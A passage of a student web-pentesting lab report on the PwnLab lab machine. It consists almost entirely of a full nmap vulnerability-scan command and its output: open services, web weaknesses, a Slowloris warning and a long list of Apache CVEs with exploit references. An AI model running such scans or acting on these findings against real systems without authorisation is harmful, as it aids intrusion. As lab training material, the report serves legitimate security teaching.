Practice 7 - Web Pentesting (Machine 2)
First, we must do an nmap to scan the machine's vulnerabilities:
Portelcore Team
02/17/26
5023 - Secure Production Deployment
1. ENUMERATION
Sección titulada «1. ENUMERACIÓN»First, we must run an nmap scan to detect vulnerabilities on the machine:
# Nmap 7.95 scan initiated Tue Feb 17 10:54:34 2026 as: /usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p80,111,3306,50913 -oA scans/192.168.10.176/detailed 192.168.10.176Pre-scan script results:| targets-ipv6-multicast-slaac:| IP: fe80::d583:3ec1:ae11:b563 MAC: 00:15:5d:09:45:e9 IFACE: eth0| IP: fe80::a827:f21b:8c48:eaf2 MAC: 00:15:5d:09:45:e9 IFACE: eth0|_ Use --script-args=newtargets to add the results as targets| targets-ipv6-multicast-mld:| IP: fe80::aa97:feff:eff5:46e5 MAC: 00:15:5d:09:45:e9 IFACE: eth0||_ Use --script-args=newtargets to add the results as targets| broadcast-igmp-discovery:| 172.27.16.1| Interface: eth0| Version: 2| Group: 224.0.0.251| Description: mDNS (rfc6762)| 172.27.16.1| Interface: eth0| Version: 2| Group: 239.192.152.143| Description: Organization-Local Scope (rfc2365)| 172.27.16.1| Interface: eth0| Version: 2| Group: 239.255.255.250| Description: Organization-Local Scope (rfc2365)|_ Use the newtargets script-arg to add the results as targets| ipv6-multicast-mld-list:| fe80::aa97:feff:eff5:46e5:| device: eth0| mac: 00:15:5d:09:45:e9| multicast_ips:| ff02::1:fff5:46e5 (NDP Solicited-node)| ff02::1:ff11:b563 (Solicited-Node Address)| ff02::1:ff11:b563 (Solicited-Node Address)| ff02::1:ff48:eaf2 (Solicited-Node Address)| ff02::fb (mDNSv6)| ff02::c (SSDP)|_ ff02::1:ff48:eaf2 (Solicited-Node Address)|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/| targets-asn:|_ targets-asn.asn is a mandatory parameter|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/|_multicast-profinet-discovery: 0Nmap scan report for 192.168.10.176Host is up, received user-set (0.0014s latency).
Bug in http-security-headers: no string output.PORT STATE SERVICE REASON VERSION80/tcp open http syn-ack ttl 63 Apache httpd 2.4.10 ((Debian))| http-useragent-tester:| Status for browser useragent: 200| Allowed User Agents:| Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)| libwww| lwp-trivial| libcurl-agent/1.0| PHP/| Python-urllib/2.5| GT::WWW| Snoopy| MFC_Tear_Sample| HTTP::Lite| PHPCrawl| URI::Fetch| Zend_Http_Client| http client| PECL::HTTP| Wget/1.13.4 (linux-gnu)|_ WWW-Mechanize/1.34|_http-server-header: Apache/2.4.10 (Debian)| http-traceroute:|_ Possible reverse proxy detected.|_http-referer-checker: Couldn't find any cross-domain scripts.|_http-chrono: Request times for /; avg: 191.16ms; min: 179.46ms; max: 203.75ms|_http-title: PwnLab Intranet Image Hosting|_http-date: Tue, 17 Feb 2026 09:55:00 GMT; -1s from local time.|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.|_http-xssed: No previously reported XSS vuln.| http-internal-ip-disclosure:|_ Internal IP Leaked: 127.0.0.1|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.| http-auth-finder:| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.10.176| url method|_ http://192.168.10.176:80/?page=login FORM| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS|_http-feed: Couldn't find any feeds.| http-csrf:| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.10.176| Found the following possible CSRF vulnerabilities:|| Path: http://192.168.10.176:80/?page=login| Form id: user|_ Form action:| http-enum:| /login.php: Possible admin folder| /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'|_ /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'| http-sitemap-generator:| Directory structure:| /| Other: 1| /images/| png: 1| Longest directory structure:| Depth: 1| Dir: /images/| Total files found (by extension):|_ Other: 1; png: 1| http-slowloris-check:| VULNERABLE:| Slowloris DOS attack| State: LIKELY VULNERABLE| IDs: CVE:CVE-2007-6750| Slowloris tries to keep many connections to the target web server open and hold| them open as long as possible. It accomplishes this by opening connections to| the target web server and sending a partial request. By doing so, it starves| the http server's resources causing Denial Of Service.|| Disclosure date: 2009-09-17| References:| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750|_ http://ha.ckers.org/slowloris/|_http-errors: Couldn't find any error pages.| http-headers:| Date: Tue, 17 Feb 2026 09:55:01 GMT| Server: Apache/2.4.10 (Debian)| Connection: close| Content-Type: text/html; charset=UTF-8||_ (Request type: HEAD)| http-vhosts:| 124 names had status 200| main| administration| beta|_dns0|_http-mobileversion-checker: No mobile version detected.| vulners:| cpe:/a:apache:http_server:2.4.10:| PACKETSTORM:176334 9.8 https://vulners.com/packetstorm/PACKETSTORM:176334 *EXPLOIT*| PACKETSTORM:171631 9.8 https://vulners.com/packetstorm/PACKETSTORM:171631 *EXPLOIT*| HTTPD:E8492EE5729E8FB514D3C0EE370C9BC6 9.8 https://vulners.com/httpd/HTTPD:E8492EE5729E8FB514D3C0EE370C9BC6| HTTPD:C072933AA965A86DA3E2C9172FFC1569 9.8 https://vulners.com/httpd/HTTPD:C072933AA965A86DA3E2C9172FFC1569| HTTPD:A1BBCE110E077FFBF4469D4F06DB9293 9.8 https://vulners.com/httpd/HTTPD:A1BBCE110E077FFBF4469D4F06DB9293| HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D 9.8 https://vulners.com/httpd/HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D| HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8 9.8 https://vulners.com/httpd/HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8| HTTPD:9AD76A782F4E66676719E36B64777A7A 9.8 https://vulners.com/httpd/HTTPD:9AD76A782F4E66676719E36B64777A7A| HTTPD:650C6B8A1FEAD1FBD1AF9746142659F9 9.8 https://vulners.com/httpd/HTTPD:650C6B8A1FEAD1FBD1AF9746142659F9| HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E 9.8 https://vulners.com/httpd/HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E| HTTPD:1F84410918227CC81FA7C000C4F999A3 9.8 https://vulners.com/httpd/HTTPD:1F84410918227CC81FA7C000C4F999A3| HTTPD:156974A46CA46AF26CC4140D00F7EB10 9.8 https://vulners.com/httpd/HTTPD:156974A46CA46AF26CC4140D00F7EB10| EDB-ID:51193 9.8 https://vulners.com/exploitdb/EDB-ID:51193 *EXPLOIT*| D5084D51-C8DF-5CBA-BC26-ACF2E33F8E52 9.8 https://vulners.com/githubexploit/D5084D51-C8DF-5CBA-BC26-ACF2E33F8E52 *EXPLOIT*| CVE-2024-38476 9.8 https://vulners.com/cve/CVE-2024-38476| CVE-2024-38474 9.8 https://vulners.com/cve/CVE-2024-38474| CVE-2023-25690 9.8 https://vulners.com/cve/CVE-2023-25690| CVE-2022-31813 9.8 https://vulners.com/cve/CVE-2022-31813| CVE-2022-23943 9.8 https://vulners.com/cve/CVE-2022-23943| CVE-2022-22720 9.8 https://vulners.com/cve/CVE-2022-22720| CVE-2021-44790 9.8 https://vulners.com/cve/CVE-2021-44790| CVE-2021-39275 9.8 https://vulners.com/cve/CVE-2021-39275| CVE-2021-26691 9.8 https://vulners.com/cve/CVE-2021-26691| CVE-2018-1312 9.8 https://vulners.com/cve/CVE-2018-1312| CVE-2017-7679 9.8 https://vulners.com/cve/CVE-2017-7679| CVE-2017-3169 9.8 https://vulners.com/cve/CVE-2017-3169| CVE-2017-3167 9.8 https://vulners.com/cve/CVE-2017-3167| CNVD-2024-36391 9.8 https://vulners.com/cnvd/CNVD-2024-36391| CNVD-2024-36388 9.8 https://vulners.com/cnvd/CNVD-2024-36388| CNVD-2022-51061 9.8 https://vulners.com/cnvd/CNVD-2022-51061| CNVD-2022-41640 9.8 https://vulners.com/cnvd/CNVD-2022-41640| CNVD-2022-03225 9.8 https://vulners.com/cnvd/CNVD-2022-03225| CNVD-2021-102386 9.8 https://vulners.com/cnvd/CNVD-2021-102386| B6297446-2DDD-52BA-B508-29A748A5D2CC 9.8 https://vulners.com/githubexploit/B6297446-2DDD-52BA-B508-29A748A5D2CC *EXPLOIT*| 64A540A8-D918-5BEA-8F60-987F97B27A0C 9.8 https://vulners.com/githubexploit/64A540A8-D918-5BEA-8F60-987F97B27A0C *EXPLOIT*| 5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9 9.8 https://vulners.com/githubexploit/5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9 *EXPLOIT*| 3F17CA20-788F-5C45-88B3-E12DB2979B7B 9.8 https://vulners.com/githubexploit/3F17CA20-788F-5C45-88B3-E12DB2979B7B *EXPLOIT*| 1337DAY-ID-39214 9.8 https://vulners.com/zdt/1337DAY-ID-39214 *EXPLOIT*| 1337DAY-ID-38427 9.8 https://vulners.com/zdt/1337DAY-ID-38427 *EXPLOIT*| 0DB60346-03B6-5FEE-93D7-FF5757D225AA 9.8 https://vulners.com/gitee/0DB60346-03B6-5FEE-93D7-FF5757D225AA *EXPLOIT*| HTTPD:D868A1E68FB46E2CF5486281DCDB59CF 9.1 https://vulners.com/httpd/HTTPD:D868A1E68FB46E2CF5486281DCDB59CF| HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6 9.1 https://vulners.com/httpd/HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6| HTTPD:2C227652EE0B3B961706AAFCACA3D1E1 9.1 https://vulners.com/httpd/HTTPD:2C227652EE0B3B961706AAFCACA3D1E1| FD2EE3A5-BAEA-5845-BA35-E6889992214F 9.1 https://vulners.com/githubexploit/FD2EE3A5-BAEA-5845-BA35-E6889992214F *EXPLOIT*| FBC8A8BE-F00A-5B6D-832E-F99A72E7A3F7 9.1 https://vulners.com/githubexploit/FBC8A8BE-F00A-5B6D-832E-F99A72E7A3F7 *EXPLOIT*| E606D7F4-5FA2-5907-B30E-367D6FFECD89 9.1 https://vulners.com/githubexploit/E606D7F4-5FA2-5907-B30E-367D6FFECD89 *EXPLOIT*| D8A19443-2A37-5592-8955-F614504AAF45 9.1 https://vulners.com/githubexploit/D8A19443-2A37-5592-8955-F614504AAF45 *EXPLOIT*| CVE-2024-40898 9.1 https://vulners.com/cve/CVE-2024-40898| CVE-2024-38475 9.1 https://vulners.com/cve/CVE-2024-38475| CVE-2022-28615 9.1 https://vulners.com/cve/CVE-2022-28615| CVE-2022-22721 9.1 https://vulners.com/cve/CVE-2022-22721| CVE-2017-9788 9.1 https://vulners.com/cve/CVE-2017-9788| CNVD-2024-36387 9.1 https://vulners.com/cnvd/CNVD-2024-36387| CNVD-2024-33814 9.1 https://vulners.com/cnvd/CNVD-2024-33814| CNVD-2022-51060 9.1 https://vulners.com/cnvd/CNVD-2022-51060| CNVD-2022-41638 9.1 https://vulners.com/cnvd/CNVD-2022-41638| B5E74010-A082-5ECE-AB37-623A5B33FE7D 9.1 https://vulners.com/githubexploit/B5E74010-A082-5ECE-AB37-623A5B33FE7D *EXPLOIT*| 5418A85B-F4B7-5BBD-B106-0800AC961C7A 9.1 https://vulners.com/githubexploit/5418A85B-F4B7-5BBD-B106-0800AC961C7A *EXPLOIT*| HTTPD:1B3D546A8500818AAC5B1359FE11A7E4 9.0 https://vulners.com/httpd/HTTPD:1B3D546A8500818AAC5B1359FE11A7E4| FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 9.0 https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 *EXPLOIT*| CVE-2022-36760 9.0 https://vulners.com/cve/CVE-2022-36760| CVE-2021-40438 9.0 https://vulners.com/cve/CVE-2021-40438| CNVD-2023-30860 9.0 https://vulners.com/cnvd/CNVD-2023-30860| CNVD-2022-03224 9.0 https://vulners.com/cnvd/CNVD-2022-03224| AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C 9.0 https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C *EXPLOIT*| 9D9B3F4D-6B5C-5377-BE39-F1C432C9E457 9.0 https://vulners.com/githubexploit/9D9B3F4D-6B5C-5377-BE39-F1C432C9E457 *EXPLOIT*| 8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 9.0 https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 *EXPLOIT*| 7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2 9.0 https://vulners.com/githubexploit/7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2 *EXPLOIT*| 36618CA8-9316-59CA-B748-82F15F407C4F 9.0 https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F *EXPLOIT*| CVE-2025-58098 8.3 https://vulners.com/cve/CVE-2025-58098| HTTPD:A7133572D328CD65C350E33F20834FAD 8.2 https://vulners.com/httpd/HTTPD:A7133572D328CD65C350E33F20834FAD| CVE-2021-44224 8.2 https://vulners.com/cve/CVE-2021-44224| CNVD-2021-102387 8.2 https://vulners.com/cnvd/CNVD-2021-102387| B0A9E5E8-7CCC-5984-9922-A89F11D6BF38 8.2 https://vulners.com/githubexploit/B0A9E5E8-7CCC-5984-9922-A89F11D6BF38 *EXPLOIT*| HTTPD:BA2AA2F9CA78BCC3B836D2041D1E15B6 8.1 https://vulners.com/httpd/HTTPD:BA2AA2F9CA78BCC3B836D2041D1E15B6| HTTPD:B63E69E936F944F114293D6F4AB8D4D6 8.1 https://vulners.com/httpd/HTTPD:B63E69E936F944F114293D6F4AB8D4D6| CVE-2024-38473 8.1 https://vulners.com/cve/CVE-2024-38473| CVE-2017-15715 8.1 https://vulners.com/cve/CVE-2017-15715| CVE-2016-5387 8.1 https://vulners.com/cve/CVE-2016-5387| CNVD-2016-04948 8.1 https://vulners.com/cnvd/CNVD-2016-04948| 249A954E-0189-5182-AE95-31C866A057E1 8.1 https://vulners.com/githubexploit/249A954E-0189-5182-AE95-31C866A057E1 *EXPLOIT*| 23079A70-8B37-56D2-9D37-F638EBF7F8B5 8.1 https://vulners.com/githubexploit/23079A70-8B37-56D2-9D37-F638EBF7F8B5 *EXPLOIT*| PACKETSTORM:181038 7.5 https://vulners.com/packetstorm/PACKETSTORM:181038 *EXPLOIT*| MSF:AUXILIARY-SCANNER-HTTP-APACHE_OPTIONSBLEED- 7.5 https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-HTTP-APACHE_OPTIONSBLEED- *EXPLOIT*| HTTPD:F1CFBC9B54DFAD0499179863D36830BB 7.5 https://vulners.com/httpd/HTTPD:F1CFBC9B54DFAD0499179863D36830BB| HTTPD:D5C9AD5E120B9B567832B4A5DBD97F43 7.5 https://vulners.com/httpd/HTTPD:D5C9AD5E120B9B567832B4A5DBD97F43| HTTPD:C317C7138B4A8BBD54A901D6DDDCB837 7.5 https://vulners.com/httpd/HTTPD:C317C7138B4A8BBD54A901D6DDDCB837| HTTPD:C1F57FDC580B58497A5EC5B7D3749F2F 7.5 https://vulners.com/httpd/HTTPD:C1F57FDC580B58497A5EC5B7D3749F2F| HTTPD:B1B0A31C4AD388CC6C575931414173E2 7.5 https://vulners.com/httpd/HTTPD:B1B0A31C4AD388CC6C575931414173E2| HTTPD:975FD708E753E143E7DFFC23510F802E 7.5 https://vulners.com/httpd/HTTPD:975FD708E753E143E7DFFC23510F802E| HTTPD:63F2722DB00DBB3F59C40B40F32363B3 7.5 https://vulners.com/httpd/HTTPD:63F2722DB00DBB3F59C40B40F32363B3| HTTPD:6236A32987BAE49DFBF020477B1278DD 7.5 https://vulners.com/httpd/HTTPD:6236A32987BAE49DFBF020477B1278DD| HTTPD:60420623F2A716909480F87DB74EE9D7 7.5 https://vulners.com/httpd/HTTPD:60420623F2A716909480F87DB74EE9D7| HTTPD:5E6BCDB2F7C53E4EDCE844709D930AF5 7.5 https://vulners.com/httpd/HTTPD:5E6BCDB2F7C53E4EDCE844709D930AF5| HTTPD:34AD734658A873D0B091ED78567E6DF4 7.5 https://vulners.com/httpd/HTTPD:34AD734658A873D0B091ED78567E6DF4| HTTPD:348811594B4FDD8579A34C563A16F7F6 7.5 https://vulners.com/httpd/HTTPD:348811594B4FDD8579A34C563A16F7F6| HTTPD:11D4941ECBB2B14842A64574A692D8D1 7.5 https://vulners.com/httpd/HTTPD:11D4941ECBB2B14842A64574A692D8D1| HTTPD:05E6BF2AD317E3658D2938931207AA66 7.5 https://vulners.com/httpd/HTTPD:05E6BF2AD317E3658D2938931207AA66| EDB-ID:42745 7.5 https://vulners.com/exploitdb/EDB-ID:42745 *EXPLOIT*| EDB-ID:40961 7.5 https://vulners.com/exploitdb/EDB-ID:40961 *EXPLOIT*| CVE-2025-59775 7.5 https://vulners.com/cve/CVE-2025-59775| CVE-2024-47252 7.5 https://vulners.com/cve/CVE-2024-47252| CVE-2024-43394 7.5 https://vulners.com/cve/CVE-2024-43394| CVE-2024-43204 7.5 https://vulners.com/cve/CVE-2024-43204| CVE-2024-42516 7.5 https://vulners.com/cve/CVE-2024-42516| CVE-2024-39573 7.5 https://vulners.com/cve/CVE-2024-39573| CVE-2024-38477 7.5 https://vulners.com/cve/CVE-2024-38477| CVE-2024-38472 7.5 https://vulners.com/cve/CVE-2024-38472| CVE-2023-31122 7.5 https://vulners.com/cve/CVE-2023-31122| CVE-2022-30556 7.5 https://vulners.com/cve/CVE-2022-30556| CVE-2022-29404 7.5 https://vulners.com/cve/CVE-2022-29404| CVE-2022-26377 7.5 https://vulners.com/cve/CVE-2022-26377| CVE-2022-22719 7.5 https://vulners.com/cve/CVE-2022-22719| CVE-2021-34798 7.5 https://vulners.com/cve/CVE-2021-34798| CVE-2021-33193 7.5 https://vulners.com/cve/CVE-2021-33193| CVE-2021-26690 7.5 https://vulners.com/cve/CVE-2021-26690| CVE-2019-0217 7.5 https://vulners.com/cve/CVE-2019-0217| CVE-2018-8011 7.5 https://vulners.com/cve/CVE-2018-8011| CVE-2018-17199 7.5 https://vulners.com/cve/CVE-2018-17199| CVE-2018-1303 7.5 https://vulners.com/cve/CVE-2018-1303| CVE-2017-9798 7.5 https://vulners.com/cve/CVE-2017-9798| CVE-2017-15710 7.5 https://vulners.com/cve/CVE-2017-15710| CVE-2016-8743 7.5 https://vulners.com/cve/CVE-2016-8743| CVE-2016-2161 7.5 https://vulners.com/cve/CVE-2016-2161| CVE-2016-0736 7.5 https://vulners.com/cve/CVE-2016-0736| CVE-2006-20001 7.5 https://vulners.com/cve/CVE-2006-20001| CNVD-2025-30836 7.5 https://vulners.com/cnvd/CNVD-2025-30836| CNVD-2025-16614 7.5 https://vulners.com/cnvd/CNVD-2025-16614| CNVD-2025-16613 7.5 https://vulners.com/cnvd/CNVD-2025-16613| CNVD-2025-16612 7.5 https://vulners.com/cnvd/CNVD-2025-16612| CNVD-2025-16609 7.5 https://vulners.com/cnvd/CNVD-2025-16609| CNVD-2024-36393 7.5 https://vulners.com/cnvd/CNVD-2024-36393| CNVD-2024-36390 7.5 https://vulners.com/cnvd/CNVD-2024-36390| CNVD-2024-36389 7.5 https://vulners.com/cnvd/CNVD-2024-36389| CNVD-2024-20839 7.5 https://vulners.com/cnvd/CNVD-2024-20839| CNVD-2023-93320 7.5 https://vulners.com/cnvd/CNVD-2023-93320| CNVD-2023-80558 7.5 https://vulners.com/cnvd/CNVD-2023-80558| CNVD-2022-53584 7.5 https://vulners.com/cnvd/CNVD-2022-53584| CNVD-2022-51058 7.5 https://vulners.com/cnvd/CNVD-2022-51058| CNVD-2022-41639 7.5 https://vulners.com/cnvd/CNVD-2022-41639| CNVD-2022-13199 7.5 https://vulners.com/cnvd/CNVD-2022-13199| CNVD-2022-03223 7.5 https://vulners.com/cnvd/CNVD-2022-03223| CNVD-2019-41283 7.5 https://vulners.com/cnvd/CNVD-2019-41283| CNVD-2019-08945 7.5 https://vulners.com/cnvd/CNVD-2019-08945| CNVD-2017-13906 7.5 https://vulners.com/cnvd/CNVD-2017-13906| CNVD-2016-13233 7.5 https://vulners.com/cnvd/CNVD-2016-13233| CNVD-2016-13232 7.5 https://vulners.com/cnvd/CNVD-2016-13232| CDC791CD-A414-5ABE-A897-7CFA3C2D3D29 7.5 https://vulners.com/githubexploit/CDC791CD-A414-5ABE-A897-7CFA3C2D3D29 *EXPLOIT*| CD6A79B3-8167-5CFD-9FCB-6986FDF0BE1A 7.5 https://vulners.com/githubexploit/CD6A79B3-8167-5CFD-9FCB-6986FDF0BE1A *EXPLOIT*| A0F268C8-7319-5637-82F7-8DAF72D14629 7.5 https://vulners.com/githubexploit/A0F268C8-7319-5637-82F7-8DAF72D14629 *EXPLOIT*| 857E0BF8-9A29-54C5-82EA-8D7C0798CAA6 7.5 https://vulners.com/githubexploit/857E0BF8-9A29-54C5-82EA-8D7C0798CAA6 *EXPLOIT*| 56EC26AF-7FB6-5CF0-B179-6151B1D53BA5 7.5 https://vulners.com/githubexploit/56EC26AF-7FB6-5CF0-B179-6151B1D53BA5 *EXPLOIT*| 45D138AD-BEC6-552A-91EA-8816914CA7F4 7.5 https://vulners.com/githubexploit/45D138AD-BEC6-552A-91EA-8816914CA7F4 *EXPLOIT*| CVE-2025-49812 7.4 https://vulners.com/cve/CVE-2025-49812| HTTPD:D66D5F45690EBE82B48CC81EF6388EE8 7.3 https://vulners.com/httpd/HTTPD:D66D5F45690EBE82B48CC81EF6388EE8| CVE-2023-38709 7.3 https://vulners.com/cve/CVE-2023-38709| CVE-2020-35452 7.3 https://vulners.com/cve/CVE-2020-35452| CNVD-2024-36395 7.3 https://vulners.com/cnvd/CNVD-2024-36395| CVE-2025-65082 6.5 https://vulners.com/cve/CVE-2025-65082| CNVD-2025-30833 6.5 https://vulners.com/cnvd/CNVD-2025-30833| CVE-2024-24795 6.3 https://vulners.com/cve/CVE-2024-24795| CNVD-2024-36394 6.3 https://vulners.com/cnvd/CNVD-2024-36394| HTTPD:E3E8BE7E36621C4506552BA051ECC3C8 6.1 https://vulners.com/httpd/HTTPD:E3E8BE7E36621C4506552BA051ECC3C8| HTTPD:8DF9389A321028B4475CE2E9B5BFC7A6 6.1 https://vulners.com/httpd/HTTPD:8DF9389A321028B4475CE2E9B5BFC7A6| HTTPD:5FF2D6B51D8115FFCB653949D8D36345 6.1 https://vulners.com/httpd/HTTPD:5FF2D6B51D8115FFCB653949D8D36345| HTTPD:503FD99BD66D7A2A870F8608BC17CE57 6.1 https://vulners.com/httpd/HTTPD:503FD99BD66D7A2A870F8608BC17CE57| CVE-2020-1927 6.1 https://vulners.com/cve/CVE-2020-1927| CVE-2019-10098 6.1 https://vulners.com/cve/CVE-2019-10098| CVE-2019-10092 6.1 https://vulners.com/cve/CVE-2019-10092| CVE-2016-4975 6.1 https://vulners.com/cve/CVE-2016-4975| CNVD-2020-21904 6.1 https://vulners.com/cnvd/CNVD-2020-21904| CNVD-2018-15542 6.1 https://vulners.com/cnvd/CNVD-2018-15542| CAB023BA-58A3-5C35-BF97-F9C43133DB5E 6.1 https://vulners.com/gitee/CAB023BA-58A3-5C35-BF97-F9C43133DB5E *EXPLOIT*| 4013EC74-B3C1-5D95-938A-54197A58586D 6.1 https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-54197A58586D *EXPLOIT*| HTTPD:5C83890838E7C6903630B41EC3F2540D 5.9 https://vulners.com/httpd/HTTPD:5C83890838E7C6903630B41EC3F2540D| CVE-2018-1302 5.9 https://vulners.com/cve/CVE-2018-1302| CVE-2018-1301 5.9 https://vulners.com/cve/CVE-2018-1301| CNVD-2018-06536 5.9 https://vulners.com/cnvd/CNVD-2018-06536| CNVD-2018-06535 5.9 https://vulners.com/cnvd/CNVD-2018-06535| 1337DAY-ID-33577 5.8 https://vulners.com/zdt/1337DAY-ID-33577 *EXPLOIT*| HTTPD:B900BFA5C32A54AB9D565F59C8AC1D05 5.5 https://vulners.com/httpd/HTTPD:B900BFA5C32A54AB9D565F59C8AC1D05| CVE-2020-13938 5.5 https://vulners.com/cve/CVE-2020-13938| CNVD-2021-44765 5.5 https://vulners.com/cnvd/CNVD-2021-44765| CVE-2025-66200 5.4 https://vulners.com/cve/CVE-2025-66200| CNVD-2025-30835 5.4 https://vulners.com/cnvd/CNVD-2025-30835| HTTPD:FCCF5DB14D66FA54B47C34D9680C0335 5.3 https://vulners.com/httpd/HTTPD:FCCF5DB14D66FA54B47C34D9680C0335| HTTPD:EB26BC6B6E566C865F53A311FC1A6744 5.3 https://vulners.com/httpd/HTTPD:EB26BC6B6E566C865F53A311FC1A6744| HTTPD:BAAB4065D254D64A717E8A5C847C7BCA 5.3 https://vulners.com/httpd/HTTPD:BAAB4065D254D64A717E8A5C847C7BCA| HTTPD:8806CE4EFAA6A567C7FAD62778B6A46F 5.3 https://vulners.com/httpd/HTTPD:8806CE4EFAA6A567C7FAD62778B6A46F| HTTPD:85F5649E5C2D697DCF21420D622C618E 5.3 https://vulners.com/httpd/HTTPD:85F5649E5C2D697DCF21420D622C618E| HTTPD:5C8B0394DE17D1C29719B16CE00F475D 5.3 https://vulners.com/httpd/HTTPD:5C8B0394DE17D1C29719B16CE00F475D| HTTPD:25716876F18D7575B7A8778A4476ED9E 5.3 https://vulners.com/httpd/HTTPD:25716876F18D7575B7A8778A4476ED9E| CVE-2022-37436 5.3 https://vulners.com/cve/CVE-2022-37436| CVE-2022-28614 5.3 https://vulners.com/cve/CVE-2022-28614| CVE-2022-28330 5.3 https://vulners.com/cve/CVE-2022-28330| CVE-2020-1934 5.3 https://vulners.com/cve/CVE-2020-1934| CVE-2020-11985 5.3 https://vulners.com/cve/CVE-2020-11985| CVE-2019-17567 5.3 https://vulners.com/cve/CVE-2019-17567| CVE-2019-0220 5.3 https://vulners.com/cve/CVE-2019-0220| CVE-2018-1283 5.3 https://vulners.com/cve/CVE-2018-1283| CNVD-2023-30859 5.3 https://vulners.com/cnvd/CNVD-2023-30859| CNVD-2022-53582 5.3 https://vulners.com/cnvd/CNVD-2022-53582| CNVD-2022-51059 5.3 https://vulners.com/cnvd/CNVD-2022-51059| CNVD-2021-44766 5.3 https://vulners.com/cnvd/CNVD-2021-44766| CNVD-2020-46278 5.3 https://vulners.com/cnvd/CNVD-2020-46278| CNVD-2020-29872 5.3 https://vulners.com/cnvd/CNVD-2020-29872| CNVD-2019-08941 5.3 https://vulners.com/cnvd/CNVD-2019-08941| SSV:96537 5.0 https://vulners.com/seebug/SSV:96537 *EXPLOIT*| SSV:62058 5.0 https://vulners.com/seebug/SSV:62058 *EXPLOIT*| HTTPD:E07AEA8765BD0F6E15AAD496A2714564 5.0 https://vulners.com/httpd/HTTPD:E07AEA8765BD0F6E15AAD496A2714564| HTTPD:A2EC89FEFE17D8EC8F8C3049CF6ED335 5.0 https://vulners.com/httpd/HTTPD:A2EC89FEFE17D8EC8F8C3049CF6ED335| HTTPD:867B7FEBC94AAFD9542C6BE363C3D8A3 5.0 https://vulners.com/httpd/HTTPD:867B7FEBC94AAFD9542C6BE363C3D8A3| HTTPD:3353898BFE39BBDF8391739FC2DDB5B1 5.0 https://vulners.com/httpd/HTTPD:3353898BFE39BBDF8391739FC2DDB5B1| HTTPD:30E31E412AB4505FEE1161AB62A2E9AD 5.0 https://vulners.com/httpd/HTTPD:30E31E412AB4505FEE1161AB62A2E9AD| EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7 5.0 https://vulners.com/exploitpack/EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7 *EXPLOIT*| EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D 5.0 https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D *EXPLOIT*| CVE-2015-3183 5.0 https://vulners.com/cve/CVE-2015-3183| CVE-2015-0228 5.0 https://vulners.com/cve/CVE-2015-0228| CVE-2014-3583 5.0 https://vulners.com/cve/CVE-2014-3583| CVE-2014-3581 5.0 https://vulners.com/cve/CVE-2014-3581| CVE-2013-5704 5.0 https://vulners.com/cve/CVE-2013-5704| CNVD-2015-01691 5.0 https://vulners.com/cnvd/CNVD-2015-01691| 1337DAY-ID-28573 5.0 https://vulners.com/zdt/1337DAY-ID-28573 *EXPLOIT*| 1337DAY-ID-26574 5.0 https://vulners.com/zdt/1337DAY-ID-26574 *EXPLOIT*| HTTPD:C42F64A6857578ED72E18211FDE568E0 4.3 https://vulners.com/httpd/HTTPD:C42F64A6857578ED72E18211FDE568E0| HTTPD:883E996A34F70F5DF670D81697321AAB 4.3 https://vulners.com/httpd/HTTPD:883E996A34F70F5DF670D81697321AAB| CVE-2016-8612 4.3 https://vulners.com/cve/CVE-2016-8612| CVE-2015-3185 4.3 https://vulners.com/cve/CVE-2015-3185| CVE-2014-8109 4.3 https://vulners.com/cve/CVE-2014-8109| 1337DAY-ID-33575 4.3 https://vulners.com/zdt/1337DAY-ID-33575 *EXPLOIT*|_ PACKETSTORM:140265 0.0 https://vulners.com/packetstorm/PACKETSTORM:140265 *EXPLOIT*|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)| http-cookie-flags:| /login.php:| PHPSESSID:|_ httponly flag not set|_http-dombased-xss: Couldn't find any DOM based XSS.|_http-comments-displayer: Couldn't find any comments.111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2,3,4 111/tcp rpcbind| 100000 2,3,4 111/udp rpcbind| 100000 3,4 111/tcp6 rpcbind| 100000 3,4 